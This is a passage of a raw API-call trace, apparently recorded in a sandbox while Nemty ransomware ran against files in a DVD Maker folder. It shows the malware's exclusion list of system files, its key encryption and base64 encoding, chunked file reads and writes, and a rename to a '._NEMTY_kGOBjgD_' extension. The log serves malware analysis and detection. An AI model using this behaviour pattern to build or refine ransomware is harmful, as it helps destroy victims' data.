[0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.272] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2=".") returned 1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="..") returned 1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="...") returned 1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="windows") returned -1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="rsa") returned -1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="ntldr") returned -1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="MSDOS.SYS") returned -1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="IO.SYS") returned -1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="boot.ini") returned 1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="boot.ini") returned 1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="ntuser.dat") returned -1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="desktop.ini") returned 1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="RECYCLER") returned -1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="bootmgr") returned 1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="programdata") returned -1 [0058.273] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="appdata") returned 1 [0058.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_PreComp_MATTE_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0058.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_PreComp_MATTE_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_PreComp_MATTE_PAL.wmv", lpUsedDefaultChar=0x0) returned 28 [0058.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0058.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_PreComp_MATTE_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0058.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_PreComp_MATTE_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_PreComp_MATTE_PAL.wmv", lpUsedDefaultChar=0x0) returned 28 [0058.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0058.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_PreComp_MATTE_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0058.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_PreComp_MATTE_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_PreComp_MATTE_PAL.wmv", lpUsedDefaultChar=0x0) returned 28 [0058.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_PreComp_MATTE_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0058.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0058.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_PreComp_MATTE_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x4f9ed58, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_PreComp_MATTE_PAL.wmv", lpUsedDefaultChar=0x0) returned 28 [0058.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0058.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0058.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0058.274] Sleep (dwMilliseconds=0x5) [0058.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd66255b0, dwHighDateTime=0x1d561e7)) [0058.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd66255b0, dwHighDateTime=0x1d561e7)) [0058.279] GetLastError () returned 0x5 [0058.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.279] GetLastError () returned 0x5 [0058.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0058.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0058.280] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0058.280] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0058.280] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0058.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0058.280] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="sQdBkQ0Na2XGValiE31L59B53MwotSi6neY621qkkQ58T6clUQfVSxlu3zDOkmjk\r\nA9wA3VIZKVYWoqZv92CT0Q7F7eyxMeeI340Puayso8Q/j132bo8n49L027rpjocG\r\nMUbgSyGHXsFUi6QBYe/Kx6cK7PAD1nNJzeXqkk3X6m0UrouSB5pSQ1Ug/E21SeQ9\r\n4pVPNdzeIVhXWyp8A1t6H30jEPJpLD52ysqpGiG4PBCkQrkJo/graYEPD6FHjNF9\r\nimQtnj4jej90rQeHvdlL3v3M3KaNgFBDSl67K8eELh2XsmvSCbtpk/d4kFXdKb/Z\r\nUw+MApeEQgoFQsz9ijn00Q==\r\n", pcchString=0x653e91c) returned 1 [0058.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340270 [0058.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0058.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0058.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0058.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0058.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403e8 [0058.280] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.280] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0058.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0058.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.289] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.387] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0058.393] CloseHandle (hObject=0xffffffff) returned 0 [0058.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0058.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0058.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0058.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0058.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0058.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0058.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0058.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0058.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0058.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0058.393] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv._nemty_kgobjgd_")) returned 0 [0058.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0058.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0058.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0058.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0058.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0058.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0058.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0058.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0058.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0058.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.394] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2=".") returned 1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="..") returned 1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="...") returned 1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="windows") returned -1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="$RECYCLE.BIN") returned 1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="rsa") returned -1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="NTDETECT.COM") returned -1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="ntldr") returned -1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="MSDOS.SYS") returned -1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="IO.SYS") returned -1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="boot.ini") returned 1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="boot.ini") returned 1 [0058.394] lstrcmpiW (lpString1="flower_trans_matte.wmv", 